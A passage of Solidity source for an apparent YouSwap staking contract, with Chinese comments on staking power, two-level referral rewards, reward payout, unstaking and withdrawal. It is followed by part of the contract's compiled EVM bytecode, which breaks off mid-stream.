poolStakeInfo.totalPower.add(power);//更新矿池总算力 UserStakeInfo storage userStakeInfo = userStakeInfos[poolId][user];//sender质押信息 userStakeInfo.amount = userStakeInfo.amount.add(amount);//更新sender质押数量 userStakeInfo.stakePower = userStakeInfo.stakePower.add(power);//更新sender质押算力 if (0 == userStakeInfo.startBlock) { userStakeInfo.startBlock = block.number;//挖矿开始块高 } uint256 upper1InvitePower = 0;//upper1邀请算力 uint256 upper2InvitePower = 0;//upper2邀请算力 if (ZERO != upper1) { uint256 inviteSelfPower = power.mul(INVITE_SELF_REWARD).div(100);//新增sender自邀请算力 userStakeInfo.invitePower = userStakeInfo.invitePower.add(inviteSelfPower);//更新sender邀请算力 poolStakeInfo.totalPower = poolStakeInfo.totalPower.add(inviteSelfPower);//更新矿池总算力 uint256 invite1Power = power.mul(INVITE1_REWARD).div(100);//新增upper1邀请算力 UserStakeInfo storage upper1StakeInfo = userStakeInfos[poolId][upper1];//upper1质押信息 upper1StakeInfo.invitePower = upper1StakeInfo.invitePower.add(invite1Power);//更新upper1邀请算力 upper1InvitePower = upper1StakeInfo.invitePower; poolStakeInfo.totalPower = poolStakeInfo.totalPower.add(invite1Power);//更新矿池总算力 if (0 == upper1StakeInfo.startBlock) { upper1StakeInfo.startBlock = block.number;//挖矿开始块高 } } if (ZERO != upper2) { uint256 invite2Power = power.mul(INVITE2_REWARD).div(100);//新增upper2邀请算力 UserStakeInfo storage upper2StakeInfo = userStakeInfos[poolId][upper2];//upper2质押信息 upper2StakeInfo.invitePower = upper2StakeInfo.invitePower.add(invite2Power);//更新upper2邀请算力 upper2InvitePower = upper2StakeInfo.invitePower; poolStakeInfo.totalPower = poolStakeInfo.totalPower.add(invite2Power);//更新矿池总算力 if (0 == upper2StakeInfo.startBlock) { upper2StakeInfo.startBlock = block.number;//挖矿开始块高 } } emit UpdatePower(poolId, poolStakeInfo.token, poolStakeInfo.totalPower, user, userStakeInfo.invitePower, userStakeInfo.stakePower, upper1, upper1InvitePower, upper2, upper2InvitePower);//更新算力事件 } /** 减少算力 */ function subPower(uint256 poolId, address user, uint256 amount, uint256 powerRatio, address upper1, address upper2) internal { uint256 power = amount.div(powerRatio); PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId];//矿池质押信息 if (poolStakeInfo.amount <= amount) { poolStakeInfo.amount = 0;//减少矿池总质押数量 }else { poolStakeInfo.amount = poolStakeInfo.amount.sub(amount);//减少矿池总质押数量 } if (poolStakeInfo.totalPower <= power) { poolStakeInfo.totalPower = 0;//减少矿池总算力 }else { poolStakeInfo.totalPower = poolStakeInfo.totalPower.sub(power);//减少矿池总算力 } UserStakeInfo storage userStakeInfo = userStakeInfos[poolId][user];//sender质押信息 userStakeInfo.amount = userStakeInfo.amount.sub(amount);//减少sender质押数量 if (userStakeInfo.stakePower <= power) { userStakeInfo.stakePower = 0;//减少sender质押算力 }else { userStakeInfo.stakePower = userStakeInfo.stakePower.sub(power);//减少sender质押算力 } uint256 upper1InvitePower = 0; uint256 upper2InvitePower = 0; if (ZERO != upper1) { uint256 inviteSelfPower = power.mul(INVITE_SELF_REWARD).div(100);//sender自邀请算力 if (poolStakeInfo.totalPower <= inviteSelfPower) { poolStakeInfo.totalPower = 0;//减少矿池sender自邀请算力 }else { poolStakeInfo.totalPower = poolStakeInfo.totalPower.sub(inviteSelfPower);//减少矿池sender自邀请算力 } if (userStakeInfo.invitePower <= inviteSelfPower) { userStakeInfo.invitePower = 0;//减少sender自邀请算力 }else { userStakeInfo.invitePower = userStakeInfo.invitePower.sub(inviteSelfPower);//减少sender自邀请算力 } uint256 invite1Power = power.mul(INVITE1_REWARD).div(100);//upper1邀请算力 if (poolStakeInfo.totalPower <= invite1Power) { poolStakeInfo.totalPower = 0;//减少矿池upper1邀请算力 }else { poolStakeInfo.totalPower = poolStakeInfo.totalPower.sub(invite1Power);//减少矿池upper1邀请算力 } UserStakeInfo storage upper1StakeInfo = userStakeInfos[poolId][upper1]; if (upper1StakeInfo.invitePower <= invite1Power) { upper1StakeInfo.invitePower = 0;//减少upper1邀请算力 }else { upper1StakeInfo.invitePower = upper1StakeInfo.invitePower.sub(invite1Power);//减少upper1邀请算力 } upper1InvitePower = upper1StakeInfo.invitePower; } if (ZERO != upper2) { uint256 invite2Power = power.mul(INVITE2_REWARD).div(100);//upper2邀请算力 if (poolStakeInfo.totalPower <= invite2Power) { poolStakeInfo.totalPower = 0;//减少矿池upper2邀请算力 }else { poolStakeInfo.totalPower = poolStakeInfo.totalPower.sub(invite2Power);//减少矿池upper2邀请算力 } UserStakeInfo storage upper2StakeInfo = userStakeInfos[poolId][upper2]; if (upper2StakeInfo.invitePower <= invite2Power) { upper2StakeInfo.invitePower = 0;//减少upper2邀请算力 }else { upper2StakeInfo.invitePower = upper2StakeInfo.invitePower.sub(invite2Power);//减少upper2邀请算力 } upper2InvitePower = upper2StakeInfo.invitePower; } emit UpdatePower(poolId, poolStakeInfo.token, poolStakeInfo.totalPower, user, userStakeInfo.invitePower, userStakeInfo.stakePower, upper1, upper1InvitePower, upper2, upper2InvitePower); } /** //给sender发放收益,给upper1,upper2增加待领取收益 */ function provideReward(uint256 poolId, uint256[] memory rewardPerShares, address user, address upper1, address upper2) internal { uint256 reward = 0; uint256 inviteReward = 0; uint256 stakeReward = 0; uint256 rewardPerShare = 0; address token; UserStakeInfo storage userStakeInfo = userStakeInfos[poolId][user]; PoolRewardInfo[] memory _poolRewardInfos = poolRewardInfos[poolId]; for(uint i = 0; i < _poolRewardInfos.length; i++) { token = _poolRewardInfos[i].token;//挖矿奖励token rewardPerShare = rewardPerShares[i];//单位算力奖励系数 if ((0 < userStakeInfo.invitePower) || (0 < userStakeInfo.stakePower)) { inviteReward = userStakeInfo.invitePower.mul(rewardPerShare).sub(userStakeInfo.inviteRewardDebts[i]).div(1e24);//邀请奖励 stakeReward = userStakeInfo.stakePower.mul(rewardPerShare).sub(userStakeInfo.stakeRewardDebts[i]).div(1e24);//质押奖励 inviteReward = userStakeInfo.invitePendingRewards[i].add(inviteReward);//待领取奖励 stakeReward = userStakeInfo.stakePendingRewards[i].add(stakeReward);//待领取奖励 reward = inviteReward.add(stakeReward); } if (0 < reward) { userStakeInfo.invitePendingRewards[i] = 0;//重置待领取奖励 userStakeInfo.stakePendingRewards[i] = 0;//重置待领取奖励 userReceiveRewards[token][user] = userReceiveRewards[token][user].add(reward);//增加已领取奖励 if (address(you) == token) {//you you.mint(user, reward);//挖you }else {//非you tokenPendingRewards[token] = tokenPendingRewards[token].sub(reward);//减少奖励总额 IERC20(token).safeTransfer(user, reward);//发放奖励 } emit WithdrawReward(poolId, token, user, inviteReward, stakeReward); } if (ZERO != upper1) { UserStakeInfo storage upper1StakeInfo = userStakeInfos[poolId][upper1]; if ((0 < upper1StakeInfo.invitePower) || (0 < upper1StakeInfo.stakePower)) { inviteReward = upper1StakeInfo.invitePower.mul(rewardPerShare).sub(upper1StakeInfo.inviteRewardDebts[i]).div(1e24);//邀请奖励 stakeReward = upper1StakeInfo.stakePower.mul(rewardPerShare).sub(upper1StakeInfo.stakeRewardDebts[i]).div(1e24);//质押奖励 upper1StakeInfo.invitePendingRewards[i] = upper1StakeInfo.invitePendingRewards[i].add(inviteReward);//待领取奖励 upper1StakeInfo.stakePendingRewards[i] = upper1StakeInfo.stakePendingRewards[i].add(stakeReward);//待领取奖励 } } if (ZERO != upper2) { UserStakeInfo storage upper2StakeInfo = userStakeInfos[poolId][upper2]; if ((0 < upper2StakeInfo.invitePower) || (0 < upper2StakeInfo.stakePower)) { inviteReward = upper2StakeInfo.invitePower.mul(rewardPerShare).sub(upper2StakeInfo.inviteRewardDebts[i]).div(1e24);//邀请奖励 stakeReward = upper2StakeInfo.stakePower.mul(rewardPerShare).sub(upper2StakeInfo.stakeRewardDebts[i]).div(1e24);//质押奖励 upper2StakeInfo.invitePendingRewards[i] = upper2StakeInfo.invitePendingRewards[i].add(inviteReward);//待领取奖励 upper2StakeInfo.stakePendingRewards[i] = upper2StakeInfo.stakePendingRewards[i].add(stakeReward);//待领取奖励 } } } } /** 重置负债 */ function setRewardDebt(uint256 poolId, uint256[] memory rewardPerShares, address user, address upper1, address upper2) internal { uint256 rewardPerShare = 0; UserStakeInfo storage userStakeInfo = userStakeInfos[poolId][user]; for(uint i = 0; i < rewardPerShares.length; i++) { rewardPerShare = rewardPerShares[i];//单位算力奖励系数 userStakeInfo.inviteRewardDebts[i] = userStakeInfo.invitePower.mul(rewardPerShare);//重置sender邀请负债 userStakeInfo.stakeRewardDebts[i] = userStakeInfo.stakePower.mul(rewardPerShare);//重置sender质押负债 if (ZERO != upper1) { UserStakeInfo storage upper1StakeInfo = userStakeInfos[poolId][upper1]; upper1StakeInfo.inviteRewardDebts[i] = upper1StakeInfo.invitePower.mul(rewardPerShare);//重置upper1邀请负债 upper1StakeInfo.stakeRewardDebts[i] = upper1StakeInfo.stakePower.mul(rewardPerShare);//重置upper1质押负债 if (ZERO != upper2) { UserStakeInfo storage upper2StakeInfo = userStakeInfos[poolId][upper2]; upper2StakeInfo.inviteRewardDebts[i] = upper2StakeInfo.invitePower.mul(rewardPerShare);//重置upper2邀请负债 upper2StakeInfo.stakeRewardDebts[i] = upper2StakeInfo.stakePower.mul(rewardPerShare);//重置upper2质押负债 } } } } /** 矿池信息更新事件 */ function sendUpdatePoolEvent(bool action, uint256 poolId) internal { PoolViewInfo memory poolViewInfo = poolViewInfos[poolId]; PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; PoolRewardInfo[] memory _poolRewardInfos = poolRewardInfos[poolId]; address[] memory tokens = new address[](_poolRewardInfos.length); uint256[] memory _rewardTotals = new uint256[](_poolRewardInfos.length); uint256[] memory rewardPerBlocks = new uint256[](_poolRewardInfos.length); for(uint i = 0; i < _poolRewardInfos.length; i++) { tokens[i] = _poolRewardInfos[i].token; _rewardTotals[i] = _poolRewardInfos[i].rewardTotal; rewardPerBlocks[i] = _poolRewardInfos[i].rewardPerBlock; } emit UpdatePool(action, poolId, poolViewInfo.name, poolStakeInfo.token, poolStakeInfo.powerRatio, poolStakeInfo.maxStakeAmount, poolStakeInfo.startBlock, poolViewInfo.multiple, poolViewInfo.priority, tokens, _rewardTotals, rewardPerBlocks); } /** 解质押 */ function _unStake(uint256 poolId, uint256 amount) internal { PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (poolStakeInfo.startBlock <= block.number), "YouSwap:POOL_NOT_EXIST_OR_MINING_NOT_START"); require((0 < amount) && (userStakeInfos[poolId][msg.sender].amount >= amount), "YouSwap:BALANCE_INSUFFICIENT"); (address upper1, address upper2) = invite.inviteUpper2(msg.sender); initRewardInfo(poolId, msg.sender, upper1, upper2); uint256[] memory rewardPerShares = computeReward(poolId);//计算单位算力奖励系数 provideReward(poolId, rewardPerShares, msg.sender, upper1, upper2);//给sender发放收益,给upper1,upper2增加待领取收益 subPower(poolId, msg.sender, amount, poolStakeInfo.powerRatio, upper1, upper2);//减少算力 setRewardDebt(poolId, rewardPerShares, msg.sender, upper1, upper2);//重置sender,upper1,upper2负债 IERC20(poolStakeInfo.token).safeTransfer(msg.sender, amount);//解质押token emit UnStake(poolId, poolStakeInfo.token, msg.sender, amount); } function _withdrawReward(uint256 poolId) internal { PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (poolStakeInfo.startBlock <= block.number), "YouSwap:POOL_NOT_EXIST_OR_MINING_NOT_START"); (address upper1, address upper2) = invite.inviteUpper2(msg.sender); initRewardInfo(poolId, msg.sender, upper1, upper2); uint256[] memory rewardPerShares = computeReward(poolId);//计算单位算力奖励系数 provideReward(poolId, rewardPerShares, msg.sender, upper1, upper2);//给sender发放收益,给upper1,upper2增加待领取收益 setRewardDebt(poolId, rewardPerShares, msg.sender, upper1, upper2);//重置sender,upper1,upper2负债 } function initRewardInfo(uint256 poolId, address user, address upper1, address upper2) internal { uint count = poolRewardInfos[poolId].length; UserStakeInfo storage userStakeInfo = userStakeInfos[poolId][user]; if (0 == userStakeInfo.invitePendingRewards.length) { for(uint i = 0; i < count; i++) { userStakeInfo.invitePendingRewards.push(0);//初始化待领取数量 userStakeInfo.stakePendingRewards.push(0);//初始化待领取数量 userStakeInfo.inviteRewardDebts.push(0);//初始化邀请负债 userStakeInfo.stakeRewardDebts.push(0);//初始化质押负债 } } if (ZERO != upper1) { UserStakeInfo storage upper1StakeInfo = userStakeInfos[poolId][upper1]; if (0 == upper1StakeInfo.invitePendingRewards.length) { for(uint i = 0; i < count; i++) { upper1StakeInfo.invitePendingRewards.push(0);//初始化待领取数量 upper1StakeInfo.stakePendingRewards.push(0);//初始化待领取数量 upper1StakeInfo.inviteRewardDebts.push(0);//初始化邀请负债 upper1StakeInfo.stakeRewardDebts.push(0);//初始化质押负债 } } if (ZERO != upper2) { UserStakeInfo storage upper2StakeInfo = userStakeInfos[poolId][upper2]; if (0 == upper2StakeInfo.invitePendingRewards.length) { for(uint i = 0; i < count; i++) { upper2StakeInfo.invitePendingRewards.push(0);//初始化待领取数量 upper2StakeInfo.stakePendingRewards.push(0);//初始化待领取数量 upper2StakeInfo.inviteRewardDebts.push(0);//初始化邀请负债 upper2StakeInfo.stakeRewardDebts.push(0);//初始化质押负债 } } } } } }
0x608060405234801561001057600080fd5b50600436106102485760003560e01c80638da5cb5b1161013b578063df5140a7116100b8578063eec30bfd1161007c578063eec30bfd14610d10578063f2fde38b14610d18578063f49f589114610d3e578063f525cb6814610d74578063fe55932a14610d7c57610248565b8063df5140a714610a3c578063df9e516c14610c8b578063e22ffa0814610ca8578063e46d811e14610cd6578063e9bb64c214610cde57610248565b8063bd2b0290116100ff578063bd2b0290146107c7578063d24287f91461081f578063d4f0afd114610929578063d6aa14cb1461094f578063dd87ad9d1461098957610248565b80638da5cb5b1461075a578063918b58e31461076257806396ddecfc1461076a578063a393b1461461078d578063a3ec191a146107bf57610248565b80634ff0198b116101c957806368833c1c1161018d57806368833c1c1461068657806369883b4e146106ac5780637b0472f0146106c957806388953cb9146106ec5780638ca527e6146106f457610248565b80634ff0198b14610526578063523a3f081461055257806358fa63ca1461056f5780635c335f07146105935780635f1bf90c1461063457610248565b8063372caeb811610210578063372caeb81461044b578063374043c41461046e57806347d7514b146104915780634b3b5f8a146104e95780634d51abf71461050357610248565b8063057b62761461024d5780630b93638d1461028357806311fed1a1146102b757806319f489821461037c57806330f2e6aa146103aa575b600080fd5b61026a6004803603602081101561026357600080fd5b5035610e27565b6040805192835260208301919091528051918290030190f35b6102b56004803603606081101561029957600080fd5b508035906001600160a01b036020820135169060400135610ed7565b005b6102e3600480360360408110156102cd57600080fd5b50803590602001356001600160a01b03166110ab565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561032757818101518382015260200161030f565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561036657818101518382015260200161034e565b5050505090500194505050505060405180910390f35b6102b56004803603604081101561039257600080fd5b506001600160a01b0381351690602001351515611636565b6102b5600480360360208110156103c057600080fd5b810190602081018135600160201b8111156103da57600080fd5b8201836020820111156103ec57600080fd5b803590602001918460208302840111600160201b8311171561040d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611691945050505050565b6102b56004803603604081101561046157600080fd5b5080359060200135611744565b6102b56004803603604081101561048457600080fd5b508035906020013561174e565b61049961180b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104d55781810151838201526020016104bd565b505050509050019250505060405180910390f35b6104f1611863565b60408051918252519081900360200190f35b6102b56004803603604081101561051957600080fd5b5080359060200135611868565b61026a6004803603604081101561053c57600080fd5b50803590602001356001600160a01b0316611920565b6102b56004803603602081101561056857600080fd5b5035611b96565b610577611ba2565b604080516001600160a01b039092168252519081900360200190f35b6102b5600480360360208110156105a957600080fd5b810190602081018135600160201b8111156105c357600080fd5b8201836020820111156105d557600080fd5b803590602001918460208302840111600160201b831117156105f657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611ba7945050505050565b6106606004803603604081101561064a57600080fd5b50803590602001356001600160a01b0316611c25565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6104f16004803603602081101561069c57600080fd5b50356001600160a01b0316611c57565b6104f1600480360360208110156106c257600080fd5b5035611c69565b6102b5600480360360408110156106df57600080fd5b5080359060200135611c8a565b610577611ff8565b6107116004803603602081101561070a57600080fd5b5035612007565b604080519889526001600160a01b039097166020890152878701959095526060870193909352608086019190915260a085015260c084015260e083015251908190036101000190f35b610577612054565b6104f1612063565b6102b56004803603604081101561078057600080fd5b5080359060200135612068565b6102b5600480360360608110156107a357600080fd5b508035906001600160a01b0360208201351690604001356122c4565b6104f161269d565b6107ea600480360360408110156107dd57600080fd5b50803590602001356126a3565b604080516001600160a01b03909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b61084b6004803603604081101561083557600080fd5b50803590602001356001600160a01b03166126fb565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561089357818101518382015260200161087b565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156108d25781810151838201526020016108ba565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156109115781810151838201526020016108f9565b50505050905001965050505050505060405180910390f35b6104996004803603602081101561093f57600080fd5b50356001600160a01b0316612ca4565b6109756004803603602081101561096557600080fd5b50356001600160a01b0316612dfb565b604080519115158252519081900360200190f35b6109a66004803603602081101561099f57600080fd5b5035612e10565b60405180856001600160a01b0316815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156109fe5781810151838201526020016109e6565b50505050905090810190601f168015610a2b5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b6102b56004803603610120811015610a5357600080fd5b810190602081018135600160201b811115610a6d57600080fd5b820183602082011115610a7f57600080fd5b803590602001918460018302840111600160201b83111715610aa057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092956001600160a01b038535169560208601359560408101359550606081013594506080810135935060c081019060a00135600160201b811115610b1657600080fd5b820183602082011115610b2857600080fd5b803590602001918460208302840111600160201b83111715610b4957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610b9857600080fd5b820183602082011115610baa57600080fd5b803590602001918460208302840111600160201b83111715610bcb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610c1a57600080fd5b820183602082011115610c2c57600080fd5b803590602001918460208302840111600160201b83111715610c4d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550612ed0945050505050565b6104f160048036036020811015610ca157600080fd5b503561360c565b6104f160048036036040811015610cbe57600080fd5b506001600160a01b0381358116916020013516613621565b6104f161363e565b61066060048036036060811015610cf457600080fd5b508035906001600160a01b036020820135169060400135613643565b610577613871565b6102b560048036036020811015610d2e57600080fd5b50356001600160a01b0316613880565b6102b560048036036060811015610d5457600080fd5b506001600160a01b03813581169160208101359091169060400135613984565b6104f1613b57565b6102b560048036036040811015610d9257600080fd5b81359190810190604081016020820135600160201b811115610db357600080fd5b820183602082011115610dc557600080fd5b803590602001918460018302840111600160201b83111715610de657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550613b5d945050505050565b600080610e32615be6565b506000838152600860209081526040918290208251610100810184528154815260018201546001600160a01b03169281018390526002820154938101939093526003810154606084015260048101546080840152600581015460a0840152600681015460c08401526007015460e0830152610eb4576000809250925050610ed2565b60a0810151604082015160c0830151610ecc91613c24565b92509250505b915091565b3360009081526002602052604090205460ff16610f29576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b600083815260086020526040902060018101546001600160a01b031615801590610f5557506007810154155b610f905760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b610f9984613c86565b506000848152600960205260408120600019915b81548110156110a257856001600160a01b0316828281548110610fcc57fe5b60009182526020909120600590910201546001600160a01b031614156110195784828281548110610ff957fe5b906000526020600020906005020160020181905550611019600088613ef9565b81818154811061102557fe5b90600052602060002090600502016002015483111561109a5781818154811061104a57fe5b9060005260206000209060050201600201549250611094600d61108e866005015461108869d3c21bcecceda10000008861444190919063ffffffff16565b90614441565b906144a1565b60068501555b600101610fad565b50505050505050565b606080606060096000868152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561114a5760008481526020908190206040805160a0810182526005860290920180546001600160a01b03168352600180820154848601526002820154928401929092526003810154606084015260040154608083015290835290920191016110e3565b5050505090506060815167ffffffffffffffff8111801561116a57600080fd5b50604051908082528060200260200182016040528015611194578160200160208202803683370190505b5090506060825167ffffffffffffffff811180156111b157600080fd5b506040519080825280602002602001820160405280156111db578160200160208202803683370190505b5090506111e6615be6565b506000878152600860209081526040918290208251610100810184528154815260018201546001600160a01b03169281018390526002820154938101939093526003810154606084015260048101546080840152600581015460a0840152600681015460c08401526007015460e08301521561162757600080611267615c34565b60008b8152600a602090815260408083206001600160a01b038e1684528252918290208251610100810184528154815260018201548184015260028201548185015260038201546060820152600482018054855181860281018601909652808652919492936080860193929083018282801561130257602002820191906000526020600020905b8154815260200190600101908083116112ee575b505050505081526020016005820180548060200260200160405190810160405280929190818152602001828054801561135a57602002820191906000526020600020905b815481526020019060010190808311611346575b50505050508152602001600682018054806020026020016040519081016040528092919081815260200182805480156113b257602002820191906000526020600020905b81548152602001906001019080831161139e575b505050505081526020016007820180548060200260200160405190810160405280929190818152602001828054801561140a57602002820191906000526020600020905b8154815260200190600101908083116113f6575b505050505081525050905060005b875181101561162257611429615c79565b88828151811061143557fe5b60200260200101519050438660000151116115f05760009450885183608001515114156115d6576080860151156114f0576114858160400151611088886060015143613c2490919063ffffffff16565b935080602001516114a385836060015161450890919063ffffffff16565b106114be57606081015160208201516114bb91613c24565b93505b60808601516114ea906114df9061108e8769d3c21bcecceda1000000614441565b608083015190614508565b60808201525b8260800151828151811061150057fe5b602002602001015194506115348360a00151838151811061151d57fe5b60200260200101518661450890919063ffffffff16565b945061158a61158369d3c21bcecceda100000061108e8660c00151868151811061155a57fe5b602002602001015161157d8660800151896040015161444190919063ffffffff16565b90613c24565b8690614508565b94506115d361158369d3c21bcecceda100000061108e8660e0015186815181106115b057fe5b602002602001015161157d8660800151896060015161444190919063ffffffff16565b94505b848783815181106115e357fe5b6020026020010181815250505b806000015188838151811061160157fe5b6001600160a01b039092166020928302919091019091015250600101611418565b505050505b509093509150505b9250929050565b6001546001600160a01b03163314611683576040805162461bcd60e51b815260206004820152601b6024820152600080516020615e8b833981519152604482015290519081900360640190fd5b61168d8282614562565b5050565b805160001080156116a457508051603210155b6116df5760405162461bcd60e51b8152600401808060200182810382526029815260200180615f6d6029913960400191505060405180910390fd5b60008060005b835181101561173e578381815181106116fa57fe5b6020908102919091018101516000818152600a8352604080822033835290935291909120600101549350915082156117365761173682846145da565b6001016116e5565b50505050565b61168d82826145da565b3360009081526002602052604090205460ff166117a0576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b600082815260076020526040902080546001600160a01b03166117f45760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b60028101829055611806600084613ef9565b505050565b6060600680548060200260200160405190810160405280929190818152602001828054801561185957602002820191906000526020600020905b815481526020019060010190808311611845575b5050505050905090565b600581565b3360009081526002602052604090205460ff166118ba576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b600082815260076020526040902080546001600160a01b031661190e5760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b60038101829055611806600084613ef9565b60008061192b615be6565b506000848152600860209081526040918290208251610100810184528154815260018201546001600160a01b03169281019290925260028101549282019290925260038201546060820152600482015460808201819052600583015460a0830152600683015460c083015260079092015460e0820152906119b357600080925092505061162f565b6119bb615c34565b6000868152600a602090815260408083206001600160a01b038916845282529182902082516101008101845281548152600182015481840152600282015481850152600382015460608201526004820180548551818602810186019096528086529194929360808601939290830182828015611a5657602002820191906000526020600020905b815481526020019060010190808311611a42575b5050505050815260200160058201805480602002602001604051908101604052809291908181526020018280548015611aae57602002820191906000526020600020905b815481526020019060010190808311611a9a575b5050505050815260200160068201805480602002602001604051908101604052809291908181526020018280548015611b0657602002820191906000526020600020905b815481526020019060010190808311611af2575b5050505050815260200160078201805480602002602001604051908101604052809291908181526020018280548015611b5e57602002820191906000526020600020905b815481526020019060010190808311611b4a575b5050505050815250509050611b848160600151826040015161450890919063ffffffff16565b82608001519350935050509250929050565b611b9f816147dd565b50565b600081565b80516000108015611bba57508051603210155b611bf55760405162461bcd60e51b8152600401808060200182810382526029815260200180615f6d6029913960400191505060405180910390fd5b60005b815181101561168d57611c1d828281518110611c1057fe5b60200260200101516147dd565b600101611bf8565b600a60209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b600b6020526000908152604090205481565b60068181548110611c7957600080fd5b600091825260209091200154905081565b80600010611cdf576040805162461bcd60e51b815260206004820152601760248201527f596f75537761703a504152414d455445525f4552524f52000000000000000000604482015290519081900360640190fd5b600082815260086020526040902060018101546001600160a01b031615801590611d0a575080544310155b611d455760405162461bcd60e51b8152600401808060200182810382526028815260200180615ecc6028913960400191505060405180910390fd5b81816005015411158015611d6a575060068101546002820154611d689084614508565b105b611da55760405162461bcd60e51b815260040180806020018281038252602b815260200180615e60602b913960400191505060405180910390fd5b600480546040805163aaaf7eaf60e01b8152339381019390935280516000936001600160a01b039093169263aaaf7eaf926024808301939192829003018186803b158015611df257600080fd5b505afa158015611e06573d6000803e3d6000fd5b505050506040513d6040811015611e1c57600080fd5b5060200151905080611ec4576004805460408051630354740160e31b815290516001600160a01b0390921692631aa3a0089282820192602092908290030181600087803b158015611e6c57600080fd5b505af1158015611e80573d6000803e3d6000fd5b505050506040513d6020811015611e9657600080fd5b505060405133907faae87b0d5fa6fab112ec583bb4f7405cb8da557e222b0061761336d65516857290600090a25b6001820154611ede906001600160a01b0316333086614900565b6004805460408051630d69191f60e41b81523393810193909352805160009384936001600160a01b03169263d69191f092602480840193829003018186803b158015611f2957600080fd5b505afa158015611f3d573d6000803e3d6000fd5b505050506040513d6040811015611f5357600080fd5b5080516020909101519092509050611f6d8633848461495a565b6060611f7887613c86565b9050611f878782338686614b62565b611f9987338888600501548787615174565b611fa6878233868661540f565b60018501546040805189815260208101899052815133936001600160a01b0316927ff7373f56c201647feae85a62d3cf56286ed3a43d20c5eb7f9883d6ea690ef7c0928290030190a350505050505050565b6003546001600160a01b031681565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495966001600160a01b0390951695939492939192909188565b6001546001600160a01b031681565b600f81565b3360009081526002602052604090205460ff166120ba576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b600082815260086020526040812060018101546001600160a01b0316158015906120e657506007810154155b6121215760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b600084815260096020908152604080832080548251818502810185019093528083526000199460609484015b828210156121b45760008481526020908190206040805160a0810182526005860290920180546001600160a01b031683526001808201548486015260028201549284019290925260038101546060840152600401546080830152908352909201910161214d565b50505050905060005b8151811015612234578181815181106121d257fe5b60200260200101516040015183111561222c578181815181106121f157fe5b6020026020010151604001519250612229600d61108e866005015461108869d3c21bcecceda10000008861444190919063ffffffff16565b94505b6001016121bd565b508483600501541115801561224d575084836002015411155b80156122595750838511155b6122aa576040805162461bcd60e51b815260206004820181905260248201527f596f75537761703a4d41585f5354414b455f414d4f554e545f494e56414c4944604482015290519081900360640190fd5b600683018590556122bc600087613ef9565b505050505050565b3360009081526002602052604090205460ff16612316576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b61231e615be6565b506000838152600860209081526040918290208251610100810184528154815260018201546001600160a01b03169281018390526002820154938101939093526003810154606084015260048101546080840152600581015460a0840152600681015460c08401526007015460e08301521580159061239f575060e0810151155b6123da5760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b6123e384613c86565b506000848152600960205260408120905b81548110156122bc57846001600160a01b031682828154811061241357fe5b60009182526020909120600590910201546001600160a01b03161415612695578382828154811061244057fe5b906000526020600020906005020160030154111561248f5760405162461bcd60e51b815260040180806020018281038252602b815260200180615da4602b913960400191505060405180910390fd5b6003546001600160a01b0386811691161461266857838282815481106124b157fe5b90600052602060002090600502016001015411156125395761251b6124fc858484815481106124dc57fe5b906000526020600020906005020160010154613c2490919063ffffffff16565b6001600160a01b0387166000908152600b602052604090205490613c24565b6001600160a01b0386166000908152600b60205260409020556125a5565b61258b61256c83838154811061254b57fe5b90600052602060002090600502016001015486613c2490919063ffffffff16565b6001600160a01b0387166000908152600b602052604090205490614508565b6001600160a01b0386166000908152600b60205260409020555b6001600160a01b0385166000818152600b60209081526040918290205482516370a0823160e01b815230600482015292519093926370a08231926024808301939192829003018186803b1580156125fb57600080fd5b505afa15801561260f573d6000803e3d6000fd5b505050506040513d602081101561262557600080fd5b50511015612668576040805162461bcd60e51b815260206004820152601c6024820152600080516020615d84833981519152604482015290519081900360640190fd5b8382828154811061267557fe5b906000526020600020906005020160010181905550612695600087613ef9565b6001016123f4565b60005481565b600960205281600052604060002081815481106126bf57600080fd5b6000918252602090912060059091020180546001820154600283015460038401546004909401546001600160a01b039093169550909350919085565b60608060608060096000878152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561279b5760008481526020908190206040805160a0810182526005860290920180546001600160a01b0316835260018082015484860152600282015492840192909252600381015460608401526004015460808301529083